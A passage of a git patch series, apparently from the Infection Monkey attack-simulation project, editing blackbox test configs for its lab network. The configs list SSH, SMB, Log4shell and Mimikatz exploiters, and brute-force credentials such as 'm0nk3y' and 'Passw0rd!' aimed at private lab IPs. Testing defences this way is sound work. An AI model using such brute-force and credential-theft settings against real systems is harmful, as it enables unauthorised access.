zOLC>fqG9vH&0-9GSs9`>$^6kVPaJxZ*zuZoq<8j`rEwLADO_y`-d%t9>7x^^53f{R z^c8|e=dHGTtzO=I{D>CutlBy0G$~F)g0;XfZTomltE`ReT3_Q3I&^QEP zNhId`Gc}Y%^`R^Yg6VKGd6!5uSh-5hRF7a=UCVG+2#q?;ig8|F-*FJXe;La7Klt|C zv(thQKEi(wliHOTdJ_7uU zGDtm-w2V7{7lLv|kVq)rnmnxp27%Px46t7S$vmr+0`Tt_(oaNN4GkB-esJ|}NyDf- zb^NeC$~z7A{22D!bRYA{SF&*PgaX&wlV?uva4-vO)Ghn&wvj@5}876pgfR4~LcY z|BhWlv!m$Kb%}^W>Kku{K>rx^!bFk&rS74Rt&)}irn^m(iXSLEs zNv)+DR<`%VniXas$-cBOfo&|lB=P9P_iU-0_j2YOICPKSlvdHCwZVfM=%9qQEgjF5 z)~q&^If%-k&8Yj=Pn6SHyB`1-Tn6cbt#qjyjqBA)jd8^vzKbn+-FJ5KgE>_55)^gff zEk^u)h!(4d$kWl1K7+d_Abs4W{Rwp+_M5`+Oo|xRMB(4Ka(us^%o1R15SUen3}~ma z%pI_7%VxnHte^iw9Oitk0clR6QBY~X8MK%F4=y4FK`8-e!Sg7~JwL4E9hUamUudf5 zXfWdnZ&W)9OyeTs`AaKaEbsz^NZs5Pn&1~85uult@fXO z;uF>UY~@qa=+sIybF&Ay`0ac<`-Dx4c#*GYO z(Ly5&2NVU$!HbP+%j-iQM3-F}o<*lMtwL6fCGKJG z_1uY*v{qH=P~A&U3ou-G|5<{DIQCn9{)MRZi@w)4@-n1-p;xdD%ey0xp)E{KNbc+O z!{KY#Ng(-i(%pD5CW$2_;ELLE^_*mm{2v)?&V_Yx@x+lRj-)_{6m=N;*&1h0|JpRm z+1%kUY?H_cApHg`=8E{DjGyT+e^6dX&G#AwUi~-)Kz+wKr6yiPyn*OQm1d61A)!-C zpS#|Snje_!P5t8XEc9*7Ey7%7*dnAwxmM5(wCaF!d>7i*xiA)vJ<8dzfYrpOU-AUI zt-I+NVw1!m1K+^U5wX~ul z8z9eVGOzfahe04Xae2{con=3Q(-JahYCA6`;%4qXmD)I^{m#t``t>!Pa(xw(au^k&zOF|;^-4N%*`a^dy6gRgJh#6Fqytq}~}hd!#Ila0z}ID$R{sLW)h zmNR6;Mr>F@jOEqmJ{?2}PR{)JM$-_2Hf>tgYVT862(*qD%MR~|dXrA3*-4swOf>{K zFJR#e*%93a`)`@G<#a)xK}~FHv>o$fz*vSu*fIw6P*cGL{7g|pfy>7rA0(uxVvaI;2ENt{G?qr54~NRLaCkBrTp^Cvp7_7np%VF8scl+e}Hnn=}_ zkT1Vv25&v0sOAowC-H}3z+nMcL!RH=?wARU>P56&vMMA(gYoxfQEQQ`mPv`oz#aE; z`9YX5%9;B9wC)}?PHlqxAw+(Lv}`89Nf;tts66SZ!L}BfKl_Y1w~XbHru6#PJ6r*( z5B@INCxm}mAjtdrYF=iEuIGHeXSk01{5@ly+AmSYYL45@EC`3g2`6Byb@X&UM|+n> zfpY^tsruUCphpnCeIUk_&;9?oW%IdyO&OiCyZ_u$_0?9?xOnhdKz)(o^KWI112zF? zQwX2+jM)2G%vuE{uAm-N!gd4Mp?JBCb&`UZ#p|azO-nHKKNt{k7paz?`&W+lB}j+) z%SXqD-9V+79;K6TpQ$e&{*0^@C>8{&MWZi^Lm0A6!xwL(in-ksI);7z`sz`rGaW9L z#~Gz+_q}4H*=Pea7B8rgF~zi07Wr^vXC={5v8o59?z*ySl|OO=&D z*+|SAYm^f$Hdpp5J%!sf8I3z{Ka=v5X~sLWymWv>fJfbnM;cbYQXxS&Tz&kXR*vn~=CvmB#y z_NOQe0;L_F-F8Bnt8=04b!qkB0NuO)D@urfr&f*U(aW&njO1&5BWIviK)V zRNv@(f$B#<)wmm4br1Tx8CV`y2`(^PZl5TUC(Jz%trx<9vnS}6k#(p?IGSOE(dTb4 z47el&wk@fNUjh|tS2Y?HAv7IQ{&uU5`X$sBc%LGo7?T-`K6K4;CX;GlrlHY>??bjA zfQcndvowJ*80uAQNVVOcw^j9^`-vtdJr)~7X?jj5n*0F!xpebpL95a`*@#=ukBTxB zs79suX#JS_RW&y+D-+!9=XjQ<+ekxP9VHe!4bDP_KvlsnaW6g+5P$+4A|DkOpI^-v zj|ZBU%oxa)SmUP2#uM2MY_UO8clr^H?A42aX_&<~a4XO(=$`U9GqF#bX($&W8v}C_ z`uAEv&MHJE(gwuGj){`|G^Yz&;X#-fD>E~_5Ny!n5Uw72dMtXKKW6Q{={FfEqT?0r z*$?D(wX$ZozXP-qE(k~o!mH&_X_ENqP4ef;UU#sfC$N!}I8&*vHPD6~XLK}0 z$f5B%;I~!1^G?k}^f$Q3@=oa<--?&yYJMknY`%OucmTBzu1nvMduU?)MceuaZ{Mi{ z@wS8B_Dr(#^!FDVuK=Sb$94~Nc1LE8fUpl5JtvcNS`DMEyrHE&#s-q&rNvKuW)b^W zy6?h7(~|La7*?By2M#`SK-;qz!X-xSSja)ch)C)MFGqbRBYy;B6zEfi?`-Rk)6H@_ z)4nthhffF>rr#US#EFIBWyf(a@k1)*@?5}g8_EEuPNS*R1mXshRuJxQiG0t*##eF?Iucdqw( ztEW;IfmZd1lip{&eXB-N2lDIUT;DXYidxN`IcR!3mUNp;ak6R|dV{x|pmBACNwy7< zwyHze_TzDipF{tb|n=E5CEu-n+pj^_4zWnnS^V3f2 zoDvK<8!V=P2K3s$7B}U&ywyQtlZF-CkcwuBf8T#%fW{78)_U+3dV)<=#T=T` zS6Lm+{6fp4^i&2&k&9Hzm7IR|guP`m+qXdhwAhrRswF7RzN*OJ?%>u`hxdguWKoe4 z@P1$Q?_c0l{YqxDe7L(amVLZv*Wgh;HoXHwk6k+h3YjqOa3zIz$K|&Z zDt*=6#sa?9A`ilMxD1bSm`;ScSm;P>kwdE;3$_bj9v?v7vmk5MV4KZU%O@JD#$%>6 zCj67^o87ZI0@t?pd}twt@QFj$79j7>9ZwQW(4*hv-~0n_iRr^U=yfKe&J9Z{I8l5W!Yh$t5L#W$2}7|gXtmD`ozejz7A4~n`~LECu1`wh))9K4)%Bnf0prcT;$zpp z;Vr?I3h*G7W;=(3^`J!clvAhW8?dlKIr@V5x`sQ`1{8)6B5C`zJa3gb(kKC&=rfSy zijwM}@5!vr1br^bUzb6#<#U~bdu2j#xWCEm|a9 zb@i0@FUYWI-3XRxcCmiO9Tq(&-bqqe;Jyjy#FncR4h)@uBU(sA6gm;ve&ZbK*z}sgYp45n%5*@JaEPBa2vY9BVq7e2lbn8!rLuOc&Sx>oA)lLpN(Y z<_>G)b;#6Rb4vAYWq^Q(eNT@1Z^*77v#uog#VWA)e03&bJxhOld-W|H=dTO~M`y7s zDtcR5w=ej>=SQaP-^qXrJ!vU85UKif1m0VVXHpweuDHPm&?SiMhYSY7th3?%*1>~- z@dnN2UIc;cYlB6eD^Y(&V?1Rzo+|7)i1%;YgiuQpZIdP$t02L}Ob`VwWO@F~lqlS^ zFVq4{3SJn&ur`k%8`UMCy?vovTC;_9ri(M{Q)9UAdI=3AVh+2d_c%m~lQe28NUlUX z6KJeJ1H}ZmawI9bCWxPxCYx5wMxeBjpjjx zfi=%<<@-8xOvT|2^~}7%FFt)u6od3D<;`7q4$X)bZ}^lYwFME1l)-DvE{YOOSx4+_ zXLrFH+P7$;ms$ITPq1L_r??M4si*`l<@?lYj9s)st!8_dp8Al^u2f3z!8KUD%@}qS zTMG^saL53_YBLg&xbsodlxRCVy_aPFbevU17$M*p#;uGw*9esg)PLZ+(y_7!so4R; zfecIw_qqXS+8GrVme)3)C?e1Z1gJoY4Roc9o=>v7gpz+qVU%NNTO}J5gUId47QXkH zY&-uy55iXFm{i^Y=6GL;KM13A9S6cyuKcO*r=JOpntMktat0A*f~CRD7wz#8#|x{B zO=`Bd&o6;*NerQuVa#q)^GAL-(AK$$ORkGkWSh_s-i#NYgKtUS{E@T@#Ibc$3`52k z*cvHlW6*(i)QR`-5n@QPd#HJIk~=P}leG5@=B}WD1`O7TKJC?;IQMusKS)M&<>5@? z8l;g`c`bga8aIRp!J&I!gX@D;pwCGdg}(3xIniyQkGp#wW5xetBp>J}&c*X<1;cr< zDHYL2OE8`~CD(mCDGMa-S%oD6y<*_|QZ9W0QBNyLnL$Q#@AJO8w_MNRQ8rPn3}k?V z8rfiFF=2JqRQ$vZmD}`v&R6(heN)@Tg!3ef@H_SzoBE3odB>{hVkXjO^_L)RvG?xY zZ`k>uvP1<)Q@k2}rXnbP=E_eHTPn6%B_4Ii^jkusD`y{L9jy{J{DL7)Ry|(DX?=sC`b8OC8(64?Y~{gU`x6IOBzfs$K2@l550^)e75d`nozIW(egV1&cmb9^@?y7_$Sc>&f2zkKLs|LyZ+BPJ ztBwQ|wS6#cTR3Z3YjHr|vDUyM_T9Hd3LVI+PhA>+8i#^P#}>#;EWYjb&a#)m2D3+= zWzT>HGLRM!Sh7i$VzY7rlMsCdO~h2$HB^}2)pz^#T;5Re$}=)mqHPK}N9V z(ikXY(KR_qBa9=4-Tk_IkafYC%E+u?#*9ET)pY?=(&gNthW+`j`-~sr(EfK(wDsm*P95Uf=u&C-qLB5M z%~PTD%OaboI2O3GlEwB1z!eUNiH90E|M&;%Q0T*E6&>l(yPCswIaiJMIFASRe%Ecb z>Tv*z+r(#nd-SN*r>kR{n8)0_3|{$vYgV@{_3LG&1J4A@17B3Fz=JIlumIacBvTbV z8XoJuBh;N9O+R+4%9TD_gcG@1swGSF!K8kUNza;ZNExGLS1f$MVuSnGYoP+EdO~Y8cmo3XI9wEDKDV0xul+hvM~SNHV_Kj9R^`W~ z7y;yqq9!#Y`-Z&-?XMWM$-6JVAdxOEJx8B!u2p|6OYTz2_G=pn)A-i8O`_+n{Q+eC z$5_;N)$v&*IC#na!}J~VajoD17@l>@@<+i!t0YEBIH}es;ANzvzp$aYz;DPe~BMG`=9Ay#lcOOYL2zGB~_(hb4 z_L!Avg3pLHmvTQ~VwpnDQ5VZ%S|YmvoQ5U`GK*v~G$(zpVIdk}Nx) zyqQ~Kx6$DIo@smEWpU{2#4X5mlVt)wM1J)ye7mLY3G#S$mc+b)O?!5KQJ}H#ydMpv zHE&CcTc>aF$+b5@YVV%|1IFJCm%*od3zTk zdIZbc6k;z9abaABFa&oWpuXB|`k(6x!Zb9Wr;6}<3b7RAE=D^*#&$ho<@asfF?>(E zVGJ?s-xcyaQ7>`X#Vz(2wVPT36L>Ko;#F)GYl31}$3Ye0>k4uCKzm!=7W4Te=&9E` zJg=;;NSR9_UtW}glBkGF<-RbIkiqEoVS%Ey?bb3iXoLFdU$s&01DgB7Oe?-3o zBKF6l7&I|8gsTbzH_v{SfsV;QRC5fnhgx$0Y&A%15nELKcZdpbL|)>)DKP-6K96;lVoYRBsDY-!%EpePZ%htkUq6iKD^XA zO!<05!pwiuVG+j6ltJnm*bBON_1arg%xLwLTU^5Ts<==pw9?WaNL6H+lj^`l2`F|* z`rBz2UZfhxeb_T@J>M1Yx4Fwyp=Y>-oYMJ7q;XtYq$%(+?+I2@xJotpc{gii9=|v( zNoM_7z}CmmZ>>p@r+|Ab_g(;E>E~)>;pCqV3CTrV(0eaq`fWZipE2hW9aLBF^nsAj zGtF1w5)JTvxo^mrUPHj#v)Jy@EHDH3ob6F6VI6&r*GGaD7)*HAZ|&5pA@I4EpBVu2 z1_bYy!x0hSPxmShPm^Ru#JGZ6qA4TgXb#7@Pzwo6mC+d zddW_%4V9-*K&9)m@VU)%enO*dNyd_4>%9j4K?4Dg{QTX!V{SVL|L$6rd+3UWEBg79 zdGTY{zDGl%hA)G}`Y&%QmeoVLY_35hMavL|^oTLP6}9!5Tk3)cH}s4596kt3c1g=x zMKK#_m=UkEw;6A|#1rwhkXzLX zzYm;#POAVPpF|(jnqY6vdzF4UH}F?cx6-o!b8pV?IhpC=8O_+Sz% zv{q~5Fb&Sk#w7v89u+mGwhs2YY_uP#Xua6&T!WS<*0w|wka-(7Cd6ttpMyUTSg99?-Qs@a7ZY)7!aZT~8lNg5gV|0uYT0H<;z@p6JWm}Hc!mLhR`oD)( z-p6><`g<3cwZUZ!p7H=$>OK@kau-Go^AbGe)xeAG`qHRt(2-Ai4ye=sz13nTQKW4n zckHkR#GY&47GVD#W1l(k9}MVjHFcnSWA+Ykt_?kZAq^b5PG;U(j}9OQKkHA{p^hda z_|$m270ETKsIW8Vj@Z3;dFLszAn@~Prn}V1pr7f`koKuLE{v3e5qVpu#K3Z`5y=PM zIc5nOrY8xeC>7&Qr*Tj{T$)_T9;F(x;BJl3bnnr()b&Jv4zcA<3&tye)R_m?e$80O7zK;x-@Y1(%WuS|kFkt;x5HW~A@=Bew8hY*>&H=IWak zhuUe)&VJ}JDW84P1}lL5p&RX;#r(RRQD#^Csk9e90tjQwLS>(*@r5YTqSRe)j&gp# zV2xfL0tK+K@hg2oacJpQPsP85+r{|t%K~TOSj_uD*SMCo2qI zX5%vTWk4L(1UFsRy;Nzgvs9~RQYf$GNZaXI8y*45%D|da5?$vTV5s9mTeF@91uF5n zDj7!E`#8v8lcA}9Ef*AurX|12b9T&CE@=w$K_ul}vOs5I2=5G91+lbyLaA+6VH@Rn9@HpB8YCU@Eo7$ z>RA~}P1ry<6eDVUJRtvl+FVqW!_sP?N%5GNC*j;E<9>UkpS;m{8GJQyn@B($p>tHl&Scsx#DCtpOhQ;C_iC^e|anl4Bd!9Ik9A;?FKSBm9@w- zm7pB*5Q}9a))s?4?-xRPWG5!AxA{)=?vu?&Qgg}}VTN?1XM>OY8$myF1Xw?H;X`OT zOrJYqCM7MstIz!9eGS|Z!@dU^_x|`w)njaxG&8R!l4ABeIR8%P@cACY3fxuZ2{y?t zS+T77jK>r^&-VE>KMU>d-t0JXkpe~8n?d#bl&tkWqjif@(-=r@jyIrQ2goX!_s=8( zB4O!5`1lXcyIU%~b>wt693Y_sTp4iS|c`dZPg%?78nrj0!X^ZcA~WpqN3GXpKjeIghB*CXhP0f3~-f_v;@ zNUZFl4juGN*PrrG-^8!`OVju6MguEFLotvu%qZKGkYmDb2+?)*tG9H&_P=pDXZyW} z-VZP6=hTlrOMe%$)2TP!9wx|*(3f8f_i^b!o_)#WPdX>iDW?k8lx(8;H%g59XI!@- zg6=n!z|nvi0(i>y>GiGVru1}I)T*Esz&%E0K{ho1WFMS$NgF3es`&!wl-1}` zbc}(eRX5B>dcM`HyB>G6aTNXIdioBO)|Lq_ZcItbH5y(m*0uud~qH*o(^<`)03O%d5Wjrxb$0hSPJ=7puD< zSd@!9vQ&-k#SI}4M*;GWF%vqZ2xSneOxy={^EZ`>2FR;OU}mzxDC|98PLj&HzVuVJ z-G}W`*P`FUhT`odKeYd#2WTID*~C$f>V7Im{C?`PwIv{cb}%hc2S!>!R9G%uKT+dT z;~_6MCyJAynfIj*3+J`-c8fik^!%oNCxixb5k4`Ri9NvXCO|a0_*anG%=?bYge=Q* zGLaj>2gyxa&^D4rHhic2=g|AW2h(eT#P%pAyh`YqQVH=wbsNk*F^-t|p1 ziE}AY<{3hs%=`ajGU@xBb~OGeaMG}t=S3v$uDhT-3|;!YqXksu=|uZODrDUY?**bY zs$uwG{Kc_Fi8Vpb;TK2q=M0}~PJd@dr-y)-N2)Ix^Nqvs_Xki~^^u{+J!7L$3!Y!X z+SPwA6z(KGg;q?P6agFLkKt4;s?y$X5y}bQS#*1#=)ryf819Zm?kubyKW_d(S-b|s zk}thnkabK(&ZURp2B=mtp+E(}*X1}g2HmZVq!LY_I4dJ)4)#;MymN#R^}A%(qL}}^ z0!+fXya%s7o@;=4%!_ol@+?Rpx0XYC;&8MRZAlVLh9-O&2roD}XB_L?iVp4=$*STi z%07MOaw+KqMoq-lbaI0(a{w9|_8#ha>Gh?=n#4lu6d<+7DFAoxjnwqc_e7B*sHdN2 zz07fC0Vmtu4YIp_LM4b`z6~IYO7h!u&=`lHIrGOfNt6&Ac zIMWb~v9m{Iu zpk62(_|i$rii>9$#P``MbJ<2#{tbNZYw7nV-wk6VhhxMj? z#ujYZ{kN|+N}p})tXXggVN&*uH^G{<&V?e)e_f#v#<|8R63@gC4o~IpqQRzJv0fsl z+pqPq35Ms3y7j*x{$0NSrSpCqTx`ggDx?o}p`v zQ1-0l(WfyY3Sq0-_~@mhK99Z9Pfp)M{^F`}CsjmcAmwu8nqITc}u6w+G+r zuha6y#4pg^0B;&(${Mwd)%)v@>&fpRh!ZlpT0mZ4eF^Cw*1!bmk}jW zE#O420L?n96BStIAp*S8(jg*G0t%&ZRdM_Gbxaw4-~J!n7}BOrGbZ%;X1c-cvkhmX ze_pGWO*Eb^JCviY9|HrV3<)rHY0PK>!_MEcxkr2dwdPcU+lBwf+y*LMG;FGbm;z6StFuTFq3{_W@ zInpaKtu*5&v;?l>t?BP54zr>F&OC zmy~o%Bi)_S(hcgRyHiTK8>G8I8l+R{?%Hqf_j}LInUgc~%$yklI$X+r{$;L8Gy4;< zs->58>e|7jej&?-A(JN#E2Qy)w+8LHJ0Os7YVlM<)Ti3I=U4s1GIdBAaS9BOQ&in& zR+mL7spDDg*yAOS#N3zA6@i%x;-MaHzX_@0IVZMitl`W&TNr-(ZE%Q?Rwwm=Zyyj| zxMm7(b3z9GjF)F>*cteqw1KJtV^mF&;${2S7iga2Th zMEFwj1X$VSw3L-h>?UMDuBP6&dXz^xc8i^7(@|uw!ZiN9$QpkkR+`z#olG;iSQ!2d-^OJ^n++eYPDir4M0KS@%ZfAcR)KZ++FvB-+ z>wx}?n(x}<~aLx(Reml*8E4r_e4!#TE9(+&f@e?Y_I-)wK)Mps_`1Q%;) z;nbMEcscytQ$)j__*M&27GGR*q;?_zUP>gd6LeCoY7oh3blLV>p1$s%{rk4FBOvVu z1uK03zKq2sjJr5On$UE=!6d5Oe}KD;Cx7xAN>bR1`>7WeE9;RtT)mHz)I!I&eud(! ziDROyWAFp-_eg>7dP6OTib}}U29;}#>dAoAy8oH=s8xqeDQ~|Wo(~^3Yetx6??}u4 z>tI5Kd7>;M((F!oEjiQM@d!HCY0Psb`z~L8f*!lU4?nbpxzN84o3DoCS3)GY)*Zp^ z*|0BHInT^Bc0Q*nrceA^-7IRztZw>hotqLiMT17%vd$FU&l^N>3lO`)XlFT62sF&Y z?!nZBtT_{-DGiVRB~)a9{kpDX!1yH?=rr^jf5Tq-<(Df@FNaGm;vln{8g>wAA1IFk zxGmLR-oyo9_ta5NF&d4`7E2*aGo6gihl+q~2=Zrelbz{GMP*cBdfD^TD$|WF;TUf^ z=x*MCvi_H`^OlzAL4rGa?nSD$D>b92bs15(qt&uLj7bB|cLS_4Zkd_QB}#q7+!44s zc0KX+eWJ_7KI{_B{39D+o9m&~zb@5$n7_O=t|h&2;j@S4a>m3UT|G@Mkw{{lm2n?6 zsxVq;od9G99$|)yoqD)@5?W{p(DEF*ehnJZ`mN0o7!>S4*>ApY*|N%~RQZD~^9Y6$ z888NHQzDVm^o4)HsSV}^Xl1MIT|2?2NX=EG7!o9YY!JUZ5BPee@QJ8*;7*e0`vnow zE4;ts;Do%2Oh_DVcZ2(KpOf?ClL9D-|@*KKf3X1(u%!_EFsaiErDN*t@F!`Vz;5#6M$4gWE!)_5=o%pS+n5S2}XWCPw?lvfj} z<8XfCVvn92^KMml-Nc%`1Dxuz5>?8V!pV`ri}C46{8`ZXtC~^q-_ev(HH3H*2AZA@ zu(oyFHzUTwZFw*hfVTu=$6$xae(^+pa|_rtBknA!KKn8Z_5kFsbuev{^arKdGm772 z=;}ACuixy{dOn8GUi;5ITuFdqyBgN*e#v2jW28OlEKN=zx4}J(7*8bhz?=TRngqG_ zbr$z>d_v$IPBDJoPe{sgs9ywjZ{HSEfM{>vc0nGzXS z$X472-9N4G5GxRS*e-ltPsolzTjYj90_N836U*a$k_(;!;zGPQfFLLxnm!zH@)aG=nj=)X1jmwBuNck*_lK2}7Qw zvx6x*ASBeeM^^RP`6Nf$v2+_#~6uPYaq3*{$|Ov74>$KRZ8bQ5y>ST{|>Cpl`iVm zvFUOpBhB{bmYI}E+>toH(ux~?!Qh6IuMib9F!J(&=`li-<_7n}T5n;)^TglEI!*H} z{?>dRU068U^2Ih9;`r*J!u1KAq%~f~q<%XY>Q9@48!j7vZX4VDK%nig#B$EN^n+q5 z2L<>;fEss_?6Kbm)xFVkIYhYD=-9L%?a{u$P|Wxk1CLXdr+}hBM&MiM{H1dyRF9*1!d+9TX;js*?Yyw3-{yyjeTi z78asP47zDRb~7U)A=JCM36$z=`EZ$Jj*4;u;>83B8@^U;GI%O@$k1)255yiT*N$16 zlokw-OE##h61BsCokBz&nEk}fg%&XaL3?fdM?MJ!H2lxNxCW>F7633~yzugVA^DTR zR6E>v!4CQ1whN}fDBBPVT{je(RdaC_do5ku%Ckh%jzR!hZH)n4w8ryon8(Spo)t2G zGiW!3BcHpGv4150f29~QqWTT=P|E8)MOhpcL!V8qYL&SeRC!IXBHiPau`FSAn=9Oh zX6W5xpASX_=-n^UT57Bk461xr%0d#AM7_JQdC%6``6VR5X#mKvQFGqGA!2s>)kGO% z(#E~|66pvXaP2^ZsQX$Fb&G>*Fw+1b17;EKASKQhSF7G8%>L8bI1U4F5;FcU**5>c zA{xaXN;20H5E4)LBiiPfb-Cw(Moo|J){jo=$;|F~TBcclV1Z3;1T4b=UwB?tV#KO< zu<+`iTlN#7Z=^wuQCVogI>uWsd&1c zy9cf559bx4LN#xo=K?TmrSY_^CFqlt4nbitm7Xg~DP5z9x3g}1dKBicWu?Ed(I@kq z#;uDR*>OUuX)r+tfE9ofjhWVl>t(<}CMCFa5Lu%C!QjsBqyDabdaLdt6e!S*gVRfE z-9E}(cIBpdQi}X2;!PU#vo6cO}c5!{oWuYGXxHJ3&snubPQ)(a$g|ing;)pYav_}qMX>% zEiq;TZlpJ<(EG;V7Q#{NQqq6UZ+X>n`aS}sp$eSMgoq;y(;iJ<)@(*^?A$2niT`^- zW^Np^Y}XQTdpF$$))z}1_io%0qsTKzdPP2hcU&z$0OC4qa*?&BJ&B*9k2J=@pgY)? zMfZ5rUPYU1;O4IoM_6y-Gs{bs?y-Otd-~2=PL5HkZ?s2H!Bo+(T5XERVnw~b-?>cY zAUD5e{ERDx>Pf%I7L~dC4W3Uc6znKIEv{f!4pg!Mw*cV2*wC_`!JpS6k}87P2g0Ag zvJP6}&6QH&ByB0|o?KTzNa=_|9bm;m!^jgp@8;_m^mI?gV2n;1B^mt z%+f;6Zt@wEYN;x81sf^wmfj}CD9D-`8c{AMDB*Y#To;PcpUeM6d0ONDqnY9Um^ z@MreSiV^I|C=1K;ELCqlOt6NSI6G7vcX}GJ`?9%pgg?%3ql5%Dz5j!YfhHR;x9Gg)~L~!rJUh#N=CDPgnHO=;}AVd)2j| zE}ZTeh4D(;W~NEKGjLxT=2*MHHGow9kt^BRcxeu8_N_G>cLgU4*uLU-YY~+{K=Ixg zOr9x>{E_frs#g@Fv*lWa{eQhE*OCpgvTEnD-k@auZ_s__1U

    +Accessible using the same m0nk3y user from island, in other words powershell exploiter can exploit +this machine without credentials as long as the user running the agent is the same on both +machines
    Notes: User: m0nk3y, Password: Passw0rd!
    -Accessiable through cached credentials (Windows Island)
    From 1d647a0c6b5a5adb6ae475ddd153feb86b1c0a27 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 13 Apr 2022 12:27:28 +0000 Subject: [PATCH 1097/1110] BB: Move ssh keys test to a separate test suite --- .../config_templates/grouped/depth_1_a.py | 4 +--- .../config_templates/grouped/depth_2_a.py | 23 +++++++++++++++++++ envs/monkey_zoo/blackbox/test_blackbox.py | 4 ++++ 3 files changed, 28 insertions(+), 3 deletions(-) create mode 100644 envs/monkey_zoo/blackbox/config_templates/grouped/depth_2_a.py diff --git a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py index 13c82bf92..bab3c7b14 100644 --- a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py +++ b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py @@ -36,11 +36,9 @@ class Depth1A(ConfigTemplate): "10.2.2.16", "10.2.2.14", "10.2.2.15", - "10.2.2.11", - "10.2.2.12", "10.2.3.46", ], - "basic.credentials.exploit_password_list": ["Ivrrw5zEzs", "Xk8VDTsC", "^NgDvY59~8"], + "basic.credentials.exploit_password_list": ["Ivrrw5zEzs", "Xk8VDTsC"], "basic.credentials.exploit_user_list": ["m0nk3y"], "monkey.system_info.system_info_collector_classes": [ "MimikatzCollector", diff --git a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_2_a.py b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_2_a.py new file mode 100644 index 000000000..d9f5168e2 --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_2_a.py @@ -0,0 +1,23 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class Depth2A(ConfigTemplate): + config_values = copy(BaseTemplate.config_values) + # SSH password and key brute-force, key stealing (10.2.2.11, 10.2.2.12) + config_values.update( + { + "basic.exploiters.exploiter_classes": [ + "SSHExploiter", + ], + "basic_network.scope.subnet_scan_list": [ + "10.2.2.11", + "10.2.2.12", + ], + "basic_network.scope.depth": 2, + "basic.credentials.exploit_password_list": ["^NgDvY59~8"], + "basic.credentials.exploit_user_list": ["m0nk3y"], + } + ) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index f0ad1b680..fdc8491cd 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -10,6 +10,7 @@ from envs.monkey_zoo.blackbox.analyzers.zerologon_analyzer import ZerologonAnaly from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate from envs.monkey_zoo.blackbox.config_templates.grouped.depth_1_a import Depth1A from envs.monkey_zoo.blackbox.config_templates.grouped.depth_1_b import Depth1B +from envs.monkey_zoo.blackbox.config_templates.grouped.depth_2_a import Depth2A from envs.monkey_zoo.blackbox.config_templates.grouped.depth_3_a import Depth3A from envs.monkey_zoo.blackbox.gcp_test_machine_list import GCP_TEST_MACHINE_LIST from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser @@ -155,5 +156,8 @@ class TestMonkeyBlackbox: log_handler=log_handler, ).run() + def test_depth_2_a(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, Depth2A, "Depth2A test suite") + def test_depth_3_a(self, island_client): TestMonkeyBlackbox.run_exploitation_test(island_client, Depth3A, "Depth4A test suite") From 2dee5698f2ab9244b281be695072bf281a61b1ad Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 13 Apr 2022 12:29:18 +0000 Subject: [PATCH 1098/1110] BB: Remove performance test template from test_blackbox.py --- envs/monkey_zoo/blackbox/test_blackbox.py | 24 ----------------------- 1 file changed, 24 deletions(-) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index fdc8491cd..fec5664b1 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -101,30 +101,6 @@ class TestMonkeyBlackbox: log_handler=log_handler, ).run() - @staticmethod - def run_performance_test( - performance_test_class, - island_client, - config_template, - timeout_in_seconds, - break_on_timeout=False, - ): - raw_config = IslandConfigParser.get_raw_config(config_template, island_client) - log_handler = TestLogsHandler( - performance_test_class.TEST_NAME, island_client, TestMonkeyBlackbox.get_log_dir_path() - ) - analyzers = [ - CommunicationAnalyzer(island_client, IslandConfigParser.get_ips_of_targets(raw_config)) - ] - performance_test_class( - island_client=island_client, - raw_config=raw_config, - analyzers=analyzers, - timeout=timeout_in_seconds, - log_handler=log_handler, - break_on_timeout=break_on_timeout, - ).run() - @staticmethod def get_log_dir_path(): return os.path.abspath(LOG_DIR_PATH) From c498b2261016c8ba829f5ba510848ac6e929bbf2 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 13 Apr 2022 12:30:05 +0000 Subject: [PATCH 1099/1110] BB: Improve configuration documentation with IP's --- .../blackbox/config_templates/grouped/depth_1_a.py | 11 +++++------ .../blackbox/config_templates/grouped/depth_1_b.py | 2 +- .../blackbox/config_templates/grouped/depth_3_a.py | 6 +++--- 3 files changed, 9 insertions(+), 10 deletions(-) diff --git a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py index bab3c7b14..1895f2bbe 100644 --- a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py +++ b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py @@ -8,12 +8,11 @@ class Depth1A(ConfigTemplate): config_values = copy(BaseTemplate.config_values) # TODO ADD SMB PTH machine # Tests: - # Hadoop - # Log4shell - # MSSQL - # SMB password stealing and brute force - # SSH password and key brute-force, key stealing - # Powershell credential reuse (powershell login with empty password) + # Hadoop (10.2.2.2, 10.2.2.3) + # Log4shell (10.2.3.55, 10.2.3.56, 10.2.3.49, 10.2.3.50, 10.2.3.51, 10.2.3.52) + # MSSQL (10.2.2.16) + # SMB mimikatz password stealing and brute force (10.2.2.14 and 10.2.2.15) + # Powershell credential reuse (powershell login with empty password) (10.2.3.46) config_values.update( { "basic.exploiters.exploiter_classes": [ diff --git a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_b.py b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_b.py index 548f52349..3df42389a 100644 --- 